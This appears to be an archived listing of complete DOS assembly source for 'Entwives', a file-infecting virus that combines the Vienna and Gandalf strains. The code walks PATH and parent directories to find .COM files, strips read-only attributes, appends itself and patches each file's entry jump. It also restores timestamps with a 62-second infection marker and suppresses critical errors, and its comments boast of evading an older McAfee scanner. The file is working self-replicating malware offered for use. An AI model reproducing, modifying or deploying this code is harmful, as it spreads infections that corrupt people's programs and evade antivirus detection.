home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-E.ZIP / ENTWIVES.ASM < prev    next >
Assembly Source File  |  1996-04-06  |  29KB  |  777 lines

  1. ;                      Entwives: Two-in-one by Ender
  2. ; This virus is a combination of a G^2 COM infector, called Gandalf and 
  3. ;   the popular Vienna strain.  This virus runs the Vienna code 7/8 
  4. ;   times and the Gandalf code the remaining 1/8.  The Vienna viral code
  5. ;   should load the infected file with Vienna and Gandalf while the 
  6. ;   Gandalf code will only load itself into the file.
  7. ; Please note that McAfee shows Lisbon and 1014 virus when scanning
  8. ;   a file infected by this virus.  Gandalf is invisible.  At least on
  9. ;   an older version it is.
  10. ;------------------------------------------------------------------------------
  11.  
  12. ; First is Vienna
  13. ; ~~~~~~~~~~~~~~~
  14.  
  15. .model tiny
  16.  
  17. MOV_CX  MACRO   X
  18.         DB      0B9H
  19.         DW      X
  20. ENDM
  21.  
  22. CODE    SEGMENT
  23.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  24.         ORG     $+0100H
  25.  
  26. ;*****************************************************************************
  27. ;Start out with a JMP around the remains of the original .COM file, into the
  28. ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
  29. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  30. ;*****************************************************************************
  31.  
  32. VCODE:  JMP     virus
  33.  
  34. ;This was the rest  of the original .COM file. Tiny and simple, this time
  35.  
  36.         NOP
  37.         NOP
  38.         NOP
  39.         NOP
  40.         NOP
  41.         NOP
  42.         NOP
  43.         NOP
  44.         NOP
  45.         NOP
  46.         NOP
  47.         NOP
  48.         NOP
  49.         NOP
  50.         NOP
  51.  
  52. ;************************************************************
  53. ;              The actual virus starts here
  54. ;************************************************************
  55.  
  56. v_start equ     $
  57.  
  58. virus:
  59. ; ******************************************************************
  60. ;                       Determine which Viral code to use
  61. ;                                   BY
  62. ;                          Getting current system time
  63. ;*******************************************************************
  64.  
  65.         MOV     AH,2CH
  66.         INT     21H
  67.  
  68.         AND     DH,7                    ;Last 3 bits 0? (once in eight)
  69.         JNZ     actvir                  ; If 7/8 use Vienna code
  70.         JMP     carrier                 ; If 1/8 use Gandalf code
  71.  
  72. ;*******************************************************************
  73. ; This is the special "one in eight" infection. If the above line were in
  74. ;  its original form, the Gandalf code would be run 1/8 of the time, and
  75. ;  rather than appending a copy of Vienna+Gandalf virus to the .COM file,
  76. ;  the file would get the Gandalf virus.  Why?  Just for the Hell of it!
  77. ;*******************************************************************
  78.  
  79. actvir: PUSH    CX
  80.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  81.                                         ; The 2nd and 3rd bytes get modified.
  82.         CLD                             ;Pointers will be auto INcremented
  83.         MOV     SI,DX                   ;Access data as offset from SI
  84.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  85.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  86.         MOV     CX,3
  87.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  88.         MOV     SI,DX                   ;Keep SI pointing to the data area
  89.  
  90. ;*************************************************************
  91. ;               Get DTA address into ES:BX
  92. ;*************************************************************
  93.  
  94.         PUSH    ES
  95.         MOV     AH,2FH
  96.         INT     21H
  97.  
  98. ;*************************************************************
  99. ;                    Save the DTA address
  100. ;*************************************************************
  101.  
  102.         MOV     [SI+old_dta],BX
  103.         MOV     [SI+old_dts],ES         ;Save the DTA address
  104.  
  105.         POP     ES
  106.  
  107. ;*************************************************************
  108. ;        Set DTA to point inside the virus data area
  109. ;*************************************************************
  110.  
  111.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  112. ;       NOP                             ;MASM will add this NOP here
  113.         ADD     DX,SI                   ;Compute DTA address
  114.         MOV     AH,1AH
  115.         INT     21H                     ;Set new DTA to inside our own code
  116.  
  117.         PUSH    ES
  118.         PUSH    SI
  119.         MOV     ES,DS:2CH
  120.         MOV     DI,0                    ;ES:DI points to environment
  121.  
  122. ;************************************************************
  123. ;        Find the "PATH=" string in the environment
  124. ;************************************************************
  125.  
  126. find_path:
  127.         POP     SI
  128.         PUSH    SI                      ;Get SI back
  129.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  130.         LODSB
  131.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  132.         REPNZ   SCASB                   ;Search for first character
  133.         MOV     CX,4
  134.  
  135. ;************************************************************
  136. ;       Loop to check for the next four characters
  137. ;************************************************************
  138.  
  139. check_next_4:
  140.         LODSB
  141.         SCASB
  142.         JNZ     find_path               ;If not all there, abort & start over
  143.         LOOP    check_next_4            ;Loop to check the next character
  144.  
  145.         POP     SI
  146.         POP     ES
  147.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  148.         MOV     DI,SI
  149.         ADD     DI,wrk_spc              ;File name workspace
  150.         MOV     BX,SI                   ;Save a copy of SI
  151.         ADD     SI,wrk_spc              ;Point SI to workspace
  152.         MOV     DI,SI                   ;Point DI to workspace
  153.         JMP     SHORT   slash_ok
  154.  
  155. ;**********************************************************
  156. ;     Look in the PATH for more subdirectories, if any
  157. ;**********************************************************
  158.  
  159. set_subdir:
  160.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  161.         JNZ     found_subdir            ;If not, there are more subdirectories
  162.         JMP     all_done                ;Else, we're all done
  163.  
  164. ;**********************************************************
  165. ;    Here if there are more subdirectories in the path
  166. ;**********************************************************
  167.  
  168. found_subdir:
  169.         PUSH    DS
  170.         PUSH    SI
  171.         MOV     DS,ES:2CH               ;DS points to environment segment
  172.         MOV     DI,SI
  173.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  174.         ADD     DI,wrk_spc              ;DI points to file name workspace
  175.  
  176. ;***********************************************************
  177. ;      Move subdirectory name into file name workspace
  178. ;***********************************************************
  179.  
  180. move_subdir:
  181.         LODSB                           ;Get character
  182.         CMP     AL,';'                  ;Is it a ';' delimiter?
  183.         JZ      moved_one               ;Yes, found another subdirectory
  184.         CMP     AL,0                    ;End of PATH string?
  185.         JZ      moved_last_one          ;Yes
  186.         STOSB                           ;Save PATH marker into [DI]
  187.         JMP     SHORT   move_subdir
  188.  
  189. ;******************************************************************
  190. ; Mark the fact that we're looking through the final subdirectory
  191. ;******************************************************************
  192.  
  193. moved_last_one:
  194.         MOV     SI,0
  195.  
  196. ;******************************************************************
  197. ;              Here after we've moved a subdirectory
  198. ;******************************************************************
  199.  
  200. moved_one:
  201.         POP     BX                      ;Pointer to virus data area
  202.         POP     DS                      ;Restore DS
  203.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  204.         NOP
  205.  
  206. ;******************************************************************
  207. ;             Make sure subdirectory ends in a "\"
  208. ;******************************************************************
  209.  
  210.         CMP     CH,'\'                  ;Ends with "\"?
  211.         JZ      slash_ok                ;If yes
  212.         MOV     AL,'\'                  ;Add one, if not
  213.         STOSB
  214.  
  215. ;******************************************************************
  216. ;     Here after we know there's a backslash at end of subdir
  217. ;******************************************************************
  218.  
  219. slash_ok:
  220.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  221.         MOV     SI,BX                   ;Restore SI
  222.         ADD     SI,f_spec               ;Point to "*.COM"
  223.         MOV     CX,6
  224.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  225.  
  226.         MOV     SI,BX
  227.  
  228. ;*******************************************************************
  229. ;                 Find first string matching *.COM
  230. ;*******************************************************************
  231.  
  232.         MOV     AH,4EH
  233.         MOV     DX,wrk_spc
  234. ;       NOP                             ;MASM will add this NOP here
  235.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  236.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  237.         INT     21H
  238.  
  239.         JMP     SHORT   find_first
  240.  
  241. ;*******************************************************************
  242. ;              Find next ASCIIZ string matching *.COM
  243. ;*******************************************************************
  244.  
  245. find_next:
  246.         MOV     AH,4FH
  247.         INT     21H
  248.  
  249. find_first:
  250.         JNB     found_file              ;Jump if we found it
  251.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  252.  
  253. ;*******************************************************************
  254. ;                      Here when we find a file
  255. ;*******************************************************************
  256.  
  257. found_file:
  258.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  259.         AND     AL,1FH                  ;Mask to remove all but seconds
  260.         CMP     AL,1FH                  ;62 seconds -> already infected
  261.         JZ      find_next               ;If so, go find another file
  262.  
  263.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  264.         JA      find_next               ;If too long, find another one
  265.  
  266.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  267.         JB      find_next               ;Then go find another one
  268.  
  269.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  270.         PUSH    SI                      ;Save SI
  271.         ADD     SI,dta_nam              ;Point SI to file name
  272.  
  273. ;********************************************************************
  274. ;                Move the name to the end of the path
  275. ;********************************************************************
  276.  
  277. more_chars:
  278.         LODSB
  279.         STOSB
  280.         CMP     AL,0
  281.         JNZ     more_chars              ;Move characters until we find a 00
  282.  
  283. ;********************************************************************
  284. ;                        Get File Attributes
  285. ;********************************************************************
  286.  
  287.         POP     SI
  288.         MOV     AX,OFFSET 4300H
  289.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  290. ;       NOP                             ;MASM will add this NOP here
  291.         ADD     DX,SI
  292.         INT     21H
  293.  
  294.         MOV     [SI+old_att],CX         ;Save the old attributes
  295.  
  296. ;********************************************************************
  297. ;         Rewrite the attributes to allow writing to the file
  298. ;********************************************************************
  299.  
  300.         MOV     AX,OFFSET 4301H         ;Set attributes
  301.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  302.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  303. ;       NOP                             ;MASM will add this NOP here
  304.         ADD     DX,SI                   ;Point to \path\name
  305.         INT     21H
  306.  
  307. ;********************************************************************
  308. ;                Open Read/Write channel to the file
  309. ;********************************************************************
  310.  
  311.         MOV     AX,OFFSET 3D02H         ;Read/Write
  312.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  313. ;       NOP                             ;MASM will add this NOP here
  314.         ADD     DX,SI                   ;Point to \path\name
  315.         INT     21H
  316.  
  317.         JNB     opened_ok               ;If file was opened OK
  318.         JMP     fix_attr                ;If it failed, restore the attributes
  319.  
  320. ;*******************************************************************
  321. ;                        Get the file date & time
  322. ;*******************************************************************
  323.  
  324. opened_ok:
  325.         MOV     BX,AX
  326.         MOV     AX,OFFSET 5700H
  327.         INT     21H
  328.  
  329.         MOV     [SI+old_tim],CX         ;Save file time
  330.         MOV     [SI+ol_date],DX         ;Save the date
  331.  
  332. ;******************************************************************
  333. ;      Here's where we infect a .COM file with this virus
  334. ;******************************************************************
  335.  
  336. infectcom:
  337.         MOV     AH,3FH
  338.         MOV     CX,3
  339.         MOV     DX,first_3
  340. ;       NOP                     ;MASM will add this NOP here
  341.         ADD     DX,SI
  342.         INT     21H             ;Save first 3 bytes into the data area
  343.  
  344.         JB      fix_time_stamp  ;Quit, if read failed
  345.  
  346.         CMP     AX,3            ;Were we able to read all 3 bytes?
  347.         JNZ     fix_time_stamp  ;Quit, if not
  348.  
  349. ;******************************************************************
  350. ;              Move file pointer to end of file
  351. ;******************************************************************
  352.  
  353.         MOV     AX,OFFSET 4202H
  354.         MOV     CX,0
  355.         MOV     DX,0
  356.         INT     21H
  357.  
  358.         JB      fix_time_stamp  ;Quit, if it didn't work
  359.  
  360.         MOV     CX,AX           ;DX:AX (long int) = file size
  361.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  362.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  363.  
  364.         ADD     CX,OFFSET c_len_y
  365.         MOV     DI,SI           ;Point DI to virus data area
  366.         SUB     DI,OFFSET c_len_x
  367.                                 ;Point DI to reference vir_dat, at start of pgm
  368.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  369.  
  370. ;*******************************************************************
  371. ;                    Write virus code to file
  372. ;*******************************************************************
  373.  
  374.         MOV     AH,40H
  375.  
  376.         MOV_CX  virlen                  ;Length of virus, in bytes
  377.  
  378.         MOV     DX,SI
  379.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  380.                                         ; address of virus code in memory
  381.         INT     21H
  382.  
  383.         JB      fix_time_stamp          ;Jump if error
  384.  
  385.         CMP     AX,OFFSET virlen        ;All bytes written?
  386.         JNZ     fix_time_stamp          ;Jump if error
  387.  
  388. ;**********************************************************************
  389. ;                Move file pointer to beginning of the file
  390. ;**********************************************************************
  391.  
  392.         MOV     AX,OFFSET 4200H
  393.         MOV     CX,0
  394.         MOV     DX,0
  395.         INT     21H
  396.  
  397.         JB      fix_time_stamp          ;Jump if error
  398.  
  399. ;**********************************************************************
  400. ;              Write the 3 byte JMP at the start of the file
  401. ;**********************************************************************
  402.  
  403.         MOV     AH,40H
  404.         MOV     CX,3
  405.         MOV     DX,SI                   ;Virus data area
  406.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  407.         INT     21H
  408.  
  409. ;**********************************************************************
  410. ;       Restore old file date & time, with seconds modified to 62
  411. ;**********************************************************************
  412.  
  413. fix_time_stamp:
  414.         MOV     DX,[SI+ol_date]         ;Old file date
  415.         MOV     CX,[SI+old_tim]         ;Old file time
  416.         AND     CX,OFFSET 0FFE0H
  417.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  418.         MOV     AX,OFFSET 5701H
  419.         INT     21H
  420.  
  421. ;**********************************************************************
  422. ;                              Close File
  423. ;**********************************************************************
  424.  
  425.         MOV     AH,3EH
  426.         INT     21H
  427.  
  428. ;**********************************************************************
  429. ;                     Restore Old File Attributes
  430. ;**********************************************************************
  431.  
  432. fix_attr:
  433.         MOV     AX,OFFSET 4301H
  434.         MOV     CX,[SI+old_att]         ;Old Attributes
  435.         MOV     DX,wrk_spc
  436. ;       NOP                             ;MASM will add this NOP
  437.         ADD     DX,SI                   ;DX points to \path\name in workspace
  438.         INT     21H
  439.  
  440. ;**********************************************************************
  441. ;              Here when it's time to close it up & end
  442. ;**********************************************************************
  443.  
  444. all_done:
  445.         PUSH    DS
  446.  
  447. ;**********************************************************************
  448. ;                         Restore old DTA
  449. ;**********************************************************************
  450.  
  451.         MOV     AH,1AH
  452.         MOV     DX,[SI+old_dta]
  453.         MOV     DS,[SI+old_dts]
  454.         INT     21H
  455.  
  456.         POP     DS
  457.  
  458. ;*************************************************************************
  459. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  460. ;  in since the address in a real JMP 100 is an offset, and the offset
  461. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  462. ;  stack, we can RET to address 0100H just as though we JMPed there.
  463. ;**********************************************************************
  464.  
  465. quit:
  466.         POP     CX
  467.         XOR     AX,AX
  468.         XOR     BX,BX
  469.         XOR     DX,DX
  470.         XOR     SI,SI
  471.         MOV     DI,OFFSET 0100H
  472.         PUSH    DI
  473.         XOR     DI,DI
  474.  
  475.         RET     0FFFFH
  476.  
  477. ; This is GANDALF.  The second of the two viruses which the file could
  478. ;   be infected by.  Gandalf, unlike Vienna, only will infect with it's
  479. ;   own code, instead of the code for both it and Vienna.
  480.  
  481. ; Kudos to G^2 for the code for Gandalf
  482. ;            Gandalf by Ender
  483.  
  484. carrier:
  485.         db      0E9h,0,0                ; jmp start
  486.  
  487. start:
  488.         call    next
  489. next:
  490.         pop     bp
  491.         sub     bp, offset next
  492.  
  493.         mov     ah, 0047h               ; Get directory
  494.         lea     si, [bp+offset origdir+1]
  495.         cwd                             ; Default drive
  496.         int     0021h
  497.  
  498.         lea     dx, [bp+offset newDTA]
  499.         mov     ah, 001Ah               ; Set DTA
  500.         int     0021h
  501.  
  502.         mov     ax, 3524h
  503.         int     0021h
  504.         push    es
  505.         push    bx
  506.  
  507.         lea     dx, [bp+INT24]          ; ASSumes ds=cs
  508.         mov     ax, 2524h
  509.         int     0021h
  510.  
  511.         push    cs
  512.         pop     es
  513.  
  514. restore_COM:
  515.         mov     di, 0100h
  516.         push    di
  517.         lea     si, [bp+offset old3]
  518.         movsb
  519.         movsw
  520.  
  521.         mov     byte ptr [bp+numinfect], 0000h
  522. traverse_loop:
  523.         lea     dx, [bp+offset COMmask]
  524.         call    infect
  525.         cmp     [bp+numinfect], 0007h
  526.         jae     exit_traverse           ; exit if enough infected
  527.  
  528.         mov     ah, 003Bh               ; CHDIR
  529.         lea     dx, [bp+offset dot_dot] ; go to previous dir
  530.         int     0021h
  531.         jnc     traverse_loop           ; loop if no error
  532.  
  533. exit_traverse:
  534.  
  535.         lea     si, [bp+offset origdir]
  536.         mov     byte ptr [si], '\'
  537.         mov     ah, 003Bh               ; restore directory
  538.         xchg    dx, si
  539.         int     0021h
  540.  
  541.         pop     dx
  542.         pop     ds
  543.         mov     ax, 2524h
  544.         int     0021h
  545.  
  546.  
  547.         mov     dx, 0080h               ; in the PSP
  548.         mov     ah, 001Ah               ; restore DTA to default
  549.         int     0021h
  550.  
  551. return:
  552.         ret
  553.  
  554. old3            db      0cdh,20h,0
  555.  
  556. INT24:
  557.         mov     al, 0003h
  558.         iret
  559.  
  560. infect:
  561.         mov     cx, 0007h               ; all files
  562.         mov     ah, 004Eh               ; find first
  563. findfirstnext:
  564.         int     0021h
  565.         jc      return
  566.         mov     ax, 4300h
  567.         lea     dx, [bp+newDTA+30]
  568.         int     0021h
  569.         jc      return
  570.         push    cx
  571.         push    dx
  572.  
  573.         mov     ax, 4301h               ; clear file attributes
  574.         push    ax                      ; save for later use
  575.         xor     cx, cx
  576.         int     0021h
  577.  
  578.         mov     ax, 3D02h
  579.         lea     dx, [bp+newDTA+30]
  580.         int     0021h
  581.         mov     bx, ax                  ; xchg ax,bx is more efficient
  582.  
  583.         mov     ax, 5700h               ; get file time/date
  584.         int     0021h
  585.         push    cx
  586.         push    dx
  587.  
  588.         mov     ah, 003Fh
  589.         mov     cx, 001Ah
  590.         lea     dx, [bp+offset readbuffer]
  591.         int     0021h
  592.  
  593.         mov     ax, 4202h
  594.         xor     cx, cx
  595.         cwd
  596.         int     0021h
  597.  
  598.         cmp     word ptr [bp+offset readbuffer], 'ZM'
  599.         jz      jmp_close
  600.         mov     cx, word ptr [bp+offset readbuffer+1] ; jmp location
  601.         add     cx, heap-start+3        ; convert to filesize
  602.         cmp     ax, cx                  ; equal if already infected
  603.         jl      skipp
  604. jmp_close:
  605.         jmp     close
  606. skipp:
  607.  
  608.         cmp     ax, 65535-(endheap-start) ; check if too large
  609.         ja      jmp_close               ; Exit if so
  610.  
  611.         cmp     ax, (heap-start)        ; check if too small
  612.         jb      jmp_close               ; Exit if so
  613.  
  614.         lea     si, [bp+offset readbuffer]
  615.         lea     di, [bp+offset old3]
  616.         movsb
  617.         movsw
  618.  
  619.         sub     ax, 0003h
  620.         mov     word ptr [bp+offset readbuffer+1], ax
  621.         mov     dl, 00E9h
  622.         mov     byte ptr [bp+offset readbuffer], dl
  623.         lea     dx, [bp+offset start]
  624.         mov     ah, 0040h               ; concatenate virus
  625.         mov     cx, heap-start
  626.         int     0021h
  627.  
  628.         xor     cx, cx
  629.         mov     ax, 4200h
  630.         xor     dx, dx
  631.         int     0021h
  632.  
  633.  
  634.         mov     cx, 0003h
  635.         lea     dx, [bp+offset readbuffer]
  636.         mov     ah, 0040h
  637.         int     0021h
  638.  
  639.         inc     [bp+numinfect]
  640.  
  641. close:
  642.         mov     ax, 5701h               ; restore file time/date
  643.         pop     dx
  644.         pop     cx
  645.         int     0021h
  646.  
  647.         mov     ah, 003Eh
  648.         int     0021h
  649.  
  650.         pop     ax                      ; restore file attributes
  651.         pop     dx                      ; get filename and
  652.         pop     cx                      ; attributes from stack
  653.         int     0021h
  654.  
  655.         mov     ah, 004Fh               ; find next
  656.         jmp     findfirstnext
  657.  
  658. ; Data for Gandalf Virus
  659. author          db      'Entwives: Two-in-one G by Ender'
  660. COMmask         db      '*.COM',0
  661. dot_dot         db      '..',0
  662.  
  663. heap:
  664. newDTA          db      43 dup (?)
  665. origdir         db      65 dup (?)
  666. numinfect       db      ?
  667. readbuffer      db      1ah dup (?)
  668. endheap:
  669.  
  670. ; Data from the Vienna virus
  671. ;************************************************************************
  672. ;The virus data starts here. It's accessed off the SI register, per the
  673. ; comments as shown
  674. ;************************************************************************
  675.  
  676. vir_dat EQU     $
  677.  
  678.         ;Use this with (SI + old_dta)
  679. olddta_ DW      0                       ;Old DTA offset
  680.  
  681.         ;Use this with (SI + old_dts)
  682. olddts_ DW      0                       ;Old DTA segment
  683.  
  684.         ;Use this with (SI + old_tim)
  685. oldtim_ DW      0                       ;Old Time
  686.  
  687.         ;Use this with (SI + ol_date)
  688. oldate_ DW      0                       ;Old date
  689.  
  690.         ;Use this with (SI + old_att)
  691. oldatt_ DW      0                       ;Old file attributes
  692.  
  693. ;Here's where the first three bytes of the original .COM file go.(SI + first_3)
  694.  
  695. first3_ EQU     $
  696.         INT     20H
  697.         NOP
  698.  
  699. ;Here's where the new JMP instruction is worked out
  700.  
  701.         ;Use this with (SI + jmp_op)
  702. jmpop_  DB      0E9H                    ;Start of JMP instruction
  703.  
  704.         ;Use this with (SI + jmp_dsp)
  705. jmpdsp_ DW      0                       ;The displacement part
  706.  
  707. ;This is the type of file  we're looking to infect. (SI + f_spec)
  708.  
  709. fspec_  DB      '*.COM',0
  710.  
  711.         ;Use this with (SI + path_ad)
  712. pathad_ DW      0                       ;Path address
  713.  
  714.         ;Use this with (SI + nam_ptr)
  715. namptr_ DW      0                       ;Pointer to start of file name
  716.  
  717.         ;Use this with (SI + env_str)
  718. envstr_ DB      'PATH='                 ;Find this in the environment
  719.  
  720.         ;File name workspace (SI + wrk_spc)
  721. wrkspc_ DB      40h dup (0)
  722.  
  723.         ;Use this with (SI + dta)
  724. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  725.  
  726.         ;Use this with (SI + dta_tim)
  727. dtatim_ DW      0,0                     ;Time stamp in DTA
  728.  
  729.         ;Use this with (SI + dta_len)
  730. dtalen_ DW      0,0                     ;File length in the DTA
  731.  
  732.         ;Use this with (SI + dta_nam)
  733. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  734.  
  735. creditauthor  DB  "Entwives: Two-in-one V by Ender"  ; My credit
  736.  
  737. lst_byt EQU     $                       ;All lines that assemble into code are
  738.                                         ;  above this one
  739.         
  740. ;*****************************************************************************
  741. ;The virus needs to know a few details about its own size and the size of its
  742. ; code portion. Let the assembler figure out these sizes automatically.
  743. ;*****************************************************************************
  744.  
  745. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  746. codelen =       vir_dat - v_start       ;Length of virus code, only
  747. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  748. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  749.  
  750. ;*****************************************************************************
  751. ;Because this code is being appended to the end of an executable file, the
  752. ; exact address of its variables cannot be known. All are accessed as offsets
  753. ; from SI, which is represented as vir_dat in the below declarations.
  754. ;*****************************************************************************
  755.  
  756. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  757. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  758. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  759. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  760. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  761. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  762. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  763. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  764. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  765. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  766. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  767. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  768. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  769. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  770. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  771. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  772. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  773.  
  774.         CODE    ENDS
  775. END     VCODE
  776.  
  777.